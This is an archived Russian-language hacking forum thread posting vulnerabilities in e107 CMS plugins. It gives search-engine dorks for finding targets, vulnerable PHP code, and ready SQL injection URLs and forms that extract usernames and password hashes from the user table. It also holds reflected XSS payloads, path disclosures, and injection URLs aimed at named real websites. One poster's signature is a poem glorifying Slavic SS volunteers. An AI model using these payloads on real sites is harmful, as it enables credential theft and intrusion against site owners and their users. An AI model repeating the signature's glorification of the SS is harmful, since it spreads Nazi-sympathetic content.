ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

27.04.2010, 22:21
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме: 4358210
Репутация:
2017
|
|
e107_plugins
Расскрытие путей
При простом переходе на файл e107_plugins/e107shop/features.php
пример :
PHP код:
http://northfloridahomebuilder.com/e107_plugins/e107shop/features.php
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
|
|
|

30.04.2010, 03:50
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме: 3363660
Репутация:
1148
|
|
AutoGallery v3.1_beta
[ скачано]
в гугле:
inurl:e107_plugins/autogallery
Результаты 1 - 10 из примерно 132 000
путь в информации!
http://e107/e107_plugins/autogallery/help.php
Z:\home\e107\www\e107_plugins\autogallery\Gallery
пути (бес параметров запрос послать!):
http://e107/e107_plugins/autogallery/xmlplaylist.php
http://e107/e107_plugins/autogallery/editaction.php
пассивная XSS
e107_plugins/autogallery/arcade.php
PHP код:
....
// Do different things when the flash game gives different requests
$sessdo = $_POST['sessdo'];
if ($sessdo != '')
{
// Session start to get the game name - $title
$microone = $_POST['microone'];
$score = $_POST['score'];
$gametime = $_POST['gametime'];
// Keep feeding that flash!
switch($sessdo)
{
case 'sessionstart':
// Give it some random crap it doesn't really need (the initbar figure and lastid)
echo "&connStatus=1&gametime=$gametime&initbar=6Z4&lastid=6&val=x";
exit;
break;
// Give it permission for... no apparent reason
case 'permrequest':
// Notice $microone = $score; -__VERY IMPORTANT__
$microone = $score;
echo "&validate=1µone=$microone";
exit;
break; ...
target:
http://[host]/[path]/e107_plugins/autogallery/arcade.php
Result (шлем POST!):
sessdo=sessionstart
gametime=<script>alert(/XSS/)</script>
или
sessdo=permrequest
microone=<script>alert(/XSS/)</script>
<form action="http://[host]/[path]/e107_plugins/autogallery/arcade.php" method="POST">
<input type=text name=sessdo value=sessionstart><br>
<input type=text name=gametime value='<script>alert(/XSS/)</script>'><br>
<input type=submit value=Отправить>
</form>
Последний раз редактировалось Strilo4ka; 30.04.2010 в 06:48..
|
|
|

30.04.2010, 06:44
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме: 3363660
Репутация:
1148
|
|
пам
aa_meetings v1.1
[ скачать]
SQL inj
/e107_plugins/aa_meetings/geocode.php
PHP код:
...// Select all the rows in the markers table
$query = "SELECT * FROM ".MPREFIX."aam_meetings WHERE 1";
if ($_GET['MeetingID']) $query .= " and MeetingID=".$_GET['MeetingID'];
else $query .= " and (Lat is null or Lng is null)";
$result = mysql_query($query);
if (!$result) {
die("Invalid query: " . mysql_error());
}...
Result:
http://ovdpohe.sk/e107_plugins/aa_meetings/geocode.php?MeetingID=1+or+%28select+1+from+%28sel ect%20count%280%29%20from%20e107_user%20group%20by %20concat%28user_password%20,0x3a,floor%28rand%280 %29*2%29%29%29x%29--
Последний раз редактировалось Strilo4ka; 30.04.2010 в 16:20..
|
|
|

30.04.2010, 16:11
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме: 3363660
Репутация:
1148
|
|
Roster by Carl Taylor Version 2.0
гугл- inurl:/e107_plugins/roster
Blind SQL inj
[path]/e107_plugins/roster/userinfo.php
PHP код:
...
//html file
require_once("html/roster_userinfo.php");
$html = new userinfo_html;
switch($_GET['action']){
default:
$text = $html->uinfo_show($_GET['m_id']);
}...
[path]/e107_plugins/roster/html/roster_userinfo.php
PHP код:
...
Class userinfo_html {
function uinfo_show($m_id) {
global $sql;
// get the member
$member_q = $sql->db_Select("roster_members", "*", "roster_member_id='".$m_id."'");
$member_a = $sql->db_Fetch(MYSQL_ASSOC);
$rank = explode(",", $member_a['roster_member_rank']);
$enlisted = date("dMY", $member_a['roster_member_enlisted']);
$enlisted = strtoupper($enlisted);
$patterns[0] = "/JUN/";
$patterns[1] = "/JUL/";...
[path]/e107_handlers/mysql.class.php
PHP код:
...function db_Select($table, $fields = '*', $arg = '', $mode = 'default', $debug = FALSE, $log_type = '', $log_remark = '') {
global $db_mySQLQueryCount;
$table = $this->db_IsLang($table);
$this->mySQLcurTable = $table;
if ($arg != '' && $mode == 'default')
{
if ($this->mySQLresult = $this->db_Query('SELECT '.$fields.' FROM '.MPREFIX.$table.' WHERE '.$arg, NULL, 'db_Select', $debug, $log_type, $log_remark)) {
$this->dbError('dbQuery');
return $this->db_Rows();
} else {
$this->dbError("db_Select (SELECT $fields FROM ".MPREFIX."{$table} WHERE {$arg})");
return FALSE;
}
} elseif ($arg != '' && $mode != 'default') {
if ($this->mySQLresult = $this->db_Query('SELECT '.$fields.' FROM '.MPREFIX.$table.' '.$arg, NULL, 'db_Select', $debug, $log_type, $log_remark)) {
$this->dbError('dbQuery');
return $this->db_Rows();
} else {
$this->dbError("db_Select (SELECT {$fields} FROM ".MPREFIX."{$table} {$arg})");
return FALSE;
}
} else {
if ($this->mySQLresult = $this->db_Query('SELECT '.$fields.' FROM '.MPREFIX.$table, NULL, 'db_Select', $debug, $log_type, $log_remark)) {
$this->dbError('dbQuery');
return $this->db_Rows();
} else {
$this->dbError("db_Select (SELECT {$fields} FROM ".MPREFIX."{$table})");
return FALSE;
}
}
}...
PHP код:
...function dbError($from) {
if ($error_message = @mysql_error()) {
if ($this->mySQLerror == TRUE) {
message_handler('ADMIN_MESSAGE', '<b>mySQL Error!</b> Function: '.$from.'. ['.@mysql_errno().' - '.$error_message.']', __LINE__, __FILE__);
return $error_message;
}
}
}...
К сожелению ошибки от СУБД отключены:
PHP код:
function db_Connect($mySQLserver, $mySQLuser,$mySQLpassword, $mySQLdefaultdb)
...
$this->mySQLerror = FALSE;
...
Result:
http://[host]/[path]/e107_plugins/roster/userinfo.php?m_id=1'+and+substring(version(),1,1)= 5--+
Контент выводится!
http://[host]/[path]/e107_plugins/roster/userinfo.php?m_id=1'+and+substring(version(),1,1)= 4--+
Контент не выводится!
Условие: mg=off
roster_sql.php - в скрипте структура єтого плагина бес дескрипторов!
путь - http://[host]/[path]/e107_plugins/roster/log/userclass2.php
Последний раз редактировалось Strilo4ka; 30.04.2010 в 16:21..
|
|
|

01.05.2010, 13:17
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме: 3363660
Репутация:
1148
|
|
Я обписался ):
В посте выше не блинд, а иньекция c принтабельными! SQL inj
гугл inurl:/e107_plugins/roster
http://[host]/[path]/e107_plugins/roster/userinfo.php?m_id=-1'+union+select+1,2,3,4,5,6,7,8,user_password,10,1 1,12,13,14,15,16,user_loginname,18+from+e107_user--+
Условие: mg=off
А вот и доказательства:
http://www.10thsfg.org/e107_plugins/roster/userinfo.php?m_id=-5%27+union+select+1,2,3,4,5,6,7,8,user_password%20 ,10,11,12,13,14,15,16,user_loginname,18+from+e107_ user--+
Последний раз редактировалось Strilo4ka; 01.05.2010 в 13:50..
|
|
|

01.05.2010, 21:03
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме: 3363660
Репутация:
1148
|
|
1
Social Shop v1.1 by eleljrk
cкачать
гугл inurl:e107_plugins/social_shop/
SQL inj
[path]/e107_plugins/social_shop/shop.php
PHP код:
...elseif($_GET['product']) {
$storedb->db_Select("ss_products","*", "product_id='".$_GET['product']."'");
while($store_row = $storedb -> db_Fetch()) {
if($store_row['product_approve'] == 0 && !ADMIN) {
$ns->tablerender(SS_ERROR , "<div align='center'>".SS_ERRORMASSAGE."<a href='".e_SELF."?page=home'>".$pref['ss_store_name']."</a></div>".$credits);
require_once(FOOTERF);
exit;
}
else {
$store_user = get_user_data($store_row['product_releaser']);
$filesize = round((filesize("store/".$store_row['product_product']) / 1024));
$product_description = str_replace("\n" ,"<br />" , $store_row['product_description']);
$store...
Результат:
http://[host]/[path]/e107_plugins/social_shop/shop.php?product=-1'+union+select+1,concat_ws(0x3a,user_loginname,us er_password),3,4,5,6,7,8,9,10,11,12,13,14+from+e10 7_user--+
Условие: mg=off
Последний раз редактировалось Strilo4ka; 01.05.2010 в 22:27..
|
|
|

01.05.2010, 22:11
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме: 3363660
Репутация:
1148
|
|
Survey_46.zip v0.47 by yvalni
скачать
гугл- inurl:e107_plugins/survey
Результаты 1 - 10 из примерно 7 430
SQL inj
[path]/e107_plugins/survey/survey.php
PHP код:
...if($_POST['submit']){
$cnv = new convert;
$mailto_addresses = "";
$submit_time = time();
$mailtext = LAN_SUR42.": ".$cnv -> convert_date($submit_time,"long")."\n\n";
$sql -> db_Select("survey","*","survey_id='{$_POST['survey_id']}' ");
if($row = $sql -> db_Fetch()){
extract($row);
}
if($survey_class != e_UC_PUBLIC && $survey_once){
if(already_voted($survey_user)){
$ns -> tablerender("Error - {$survey_name}",LAN_SUR2);
require_once(FOOTERF);
exit;
}
}...
Самое интересное что survey_id можно и не знать,
данные вместе с ошибкой вылазят (есть принтабельное поле!) 
Результат:
<form action="http://[host]/[path]/e107_plugins/survey/survey.php" method=post>
<input type=text name=survey_id value="-2' union select 1,concat_ws(0x3a,user_loginname,user_password ),3,4,5,6,7,8,9,10,11,12,13,14 from e107_user limit 0,1-- ">
<input type=submit name=submit>
</form>
Условие: mg=off
Последний раз редактировалось Strilo4ka; 01.05.2010 в 22:21..
|
|
|

01.05.2010, 23:55
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме: 3363660
Репутация:
1148
|
|
Registration v0.9 by holiday
скачать
SQL inj в order by (есть вывод от СУБД!)
гугл- inurl:e107_plugins/registration
[path]/e107_plugins/registration/playerlist.php
PHP код:
require_once("../../class2.php");
//@include_once e_PLUGIN.'registration/languages/'.e_LANGUAGE.'.php';
@include_once e_PLUGIN.'registration/languages/Deutsch.php';
require_once("cRegistration.php");
require_once(HEADERF);
$title=sprintf("%s - %s",REG_MAIN_2, cTournament::getInstance()->getActualTournament() );
$ns->tablerender($title, cRegistration::getInstance()->showRegisteredUser($_REQUEST['order']));
require_once(FOOTERF);
[path]/e107_plugins/registration/Cregistration.php
PHP код:
....public function showRegisteredUser($order=""){
$config = cConfig::getInstance()->getConfiguration();
$data=$this->getAllParcipitants($order);
$border=sprintf("border:0;border-bottom: #444 1px solid;");
$padding1=sprintf("padding-right: 1em");
$table.=sprintf("<table align=left style='width:95%%;margin-left:10px;border-collapse:collapse;%s; background:none;'>",$border);
$table.=sprintf("<tr>");...
PHP код:
...protected function getAllParcipitants($order){
try {
global $tp, $sql;
//reihenfolge wird immer durch Name, Vornamen ergдnzt
if(empty($order))$order="reg_name, reg_vorname";
else $order.=', reg_name, reg_vorname';
$data=array();
$this->debug("DB select {$this->table}");
$tid=cTournament::getInstance()->getActualTournamentId();
$result=$sql->db_Select("teilnehmer", "*" , "WHERE reg_tournamentId=$tid ORDER BY $order ", "");
if(!$result) {
$error=sprintf("DB Error %s: %s", mysql_errno(), mysql_error());
if(mysql_errno()>0) throw new Exception ($error);
$this->debug("Kein Datenbankeintrag gefunden");
}
//$teilnehmer=array();
while($row = $sql->db_Fetch()) {
...
Результат:
http://[host]/[path]/e107_plugins/registration/playerlist.php?order=1,(select 1 from (select count(0),concat_ws(0x3a,(select user_loginname from e107_user limit 0,1),(select user_password from e107_user limit 0,1),floor(rand(0)*2)) from (select 1 union select 2 union select 3)x group by 2)a)
ps
1) лучше постом крутить!
2) http://[host]/[path]/e107_plugins/registration_sql.php - структура плагина!
Последний раз редактировалось Strilo4ka; 01.05.2010 в 23:58..
|
|
|

02.05.2010, 14:59
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме: 3363660
Репутация:
1148
|
|
Map Me! v1.3 by rickey911
скачать
SQL inj
гугл- inurl:/e107_plugins/mapme
[path]/e107_plugins/mapme/mapmejs.php
PHP код:
...require_once("../../class2.php");
// Get language file (assume that the English language file is always present)
$lan_file = e_PLUGIN."mapme/languages/".e_LANGUAGE.".php";
include_lan($lan_file);
header("Content-type: application/x-javascript");
global $pref, $user;
$uid = $_GET['u'];
$sql->mySQLresult = @mysql_query("SELECT ".MPREFIX."gmarkers.loc, ".MPREFIX."gmarkers.lat, ".MPREFIX."gmarkers.lng, ".MPREFIX."user.user_name, ".MPREFIX."user.user_image FROM `".MPREFIX."gmarkers`, ".MPREFIX."user where ".MPREFIX."gmarkers.user_id = ".$uid." and ".MPREFIX."gmarkers.user_id = ".MPREFIX."user.user_id");
$rows=$sql->db_Rows();
if($rows){
$row = $sql->db_Fetch();
if($row['user_image']){
require_once(e_HANDLER."avatar_handler.php");
$uimage = "<img src='".avatar($row['user_image'])."' alt='".$row['user_name']."' style='text-align:middle' />";
}
else{
$uimage = "<img src='".e_PLUGIN."mapme/images/noavatar.gif' alt='".$row['user_name']."' style='text-align:middle' />";
}
$html = "\"<div style='width:250px;'><div style='float:left; text-align:left;'>".$uimage."</div><div style='float:left; text-align:left;'><a href='".e_BASE."user.php?id.".$uid."' title='".$row['user_name']."'><b>".$row['user_name']."</b></a><br>".MAPME_JS_001." ".$row['user_name']." ".MAPME_JS_002." ".$row['loc'].".";
if($uid==USERID){
$html .="<br><br><span class='smalltext'><a href='".e_PLUGIN_ABS."mapme/mapconfig.php'>".MAPME_JS_003."</a></span>"; // bugfix by nlstart
}
...
Результат и никаких условий:
http://[host]/[path]/e107_plugins/mapme/mapmejs.php?u=-1+union+select+1,2,3,concat_ws(0x3a,user_loginname ,user_password),5+from+e107_user--+
ps скоро буду ескплоиты на перл писать когда вылечусь ):
|
|
|

02.05.2010, 16:49
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме: 3363660
Репутация:
1148
|
|
Tabbed Menu v2.0 by KVN
скачать inurl:e107_plugins/tabbed_menu
пасивная XSS
Код:
http://[host]/[path]/e107_plugins/tabbed_menu/ajaxhandler.php?target=<script>alert(123)</script>
[path]/e107_plugins/tabbed_menu/ajaxhandler.php
PHP код:
...}else{
$ajax_response = "<menu_name>{$_GET['target']}</menu_name><source_id>$ajax_source</source_id><arg>$ajax_arg</arg> <b>No Data Available</b>";
}
echo $ajax_response;
путь:
Код:
http://[host]/[path]/e107_plugins/tabbed_menu/ajaxhandler.php?source=1
Последний раз редактировалось Strilo4ka; 02.05.2010 в 16:52..
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|